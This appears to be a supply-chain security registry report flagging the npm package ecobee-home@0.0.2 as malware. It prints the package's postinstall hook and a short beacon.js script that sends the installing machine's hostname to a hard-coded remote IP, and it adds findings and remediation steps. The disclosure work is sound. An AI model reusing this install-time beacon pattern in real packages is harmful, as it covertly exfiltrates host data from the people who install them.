registry / Data exfiltration / ecobee-home
ecobee-home
Utility package
This report shows the evidence for ecobee-home@0.0.2. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package has no apparent functionality beyond an unconsented install-time hostname beacon to an unrelated hard-coded endpoint. This is concrete data exfiltration behavior.
Static reason
One or more suspicious static signals were detected.
Trigger
npm install invokes postinstall
Impact
Unconsented host-identification data exfiltration.
Mechanism
install-time hostname beacon over HTTP
Attack narrative
On installation, npm runs beacon.js via postinstall. The script reads os.hostname() and appends it to an HTTP request to a hard-coded remote IP, identifying the installing host. Errors are suppressed, and the README describes only a placeholder package, providing no legitimate rationale for this install-time network beacon.
AI rationale
The package has no apparent functionality beyond an unconsented install-time hostname beacon to an unrelated hard-coded endpoint. This is concrete data exfiltration behavior.
Evidence
package.jsonbeacon.jsREADME.md
Network endpoints1
169.58.96.170:9001/cb
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- postinstall executes beacon.js.
- beacon.js sends the host hostname to a hard-coded remote HTTP endpoint during installation.
- The network error is silently ignored.
Evidence against
- No other package source files or documented functionality were present.
Behavioral surface
Network
TrivialUrlStrings
NoLicense
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.js"
},
High
beacon.jsView file
2var os = require("os"), http = require("http");
http.get("http://169.58.96.170:9001/cb?h=" + encodeURIComponent(os.hostname()) + "&p=ecobee-home", function(){}).on("error", function(){});
High
Ai Review Evidence
beacon.js sends the host hostname to a hard-coded remote HTTP endpoint during installation.
beacon.jsView on unpkg · L2Findings
4 High1 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.js
HighAi Review Evidencebeacon.js
MediumNetwork
LowScripts Present
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to ecobee-home@0.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing ecobee-home@0.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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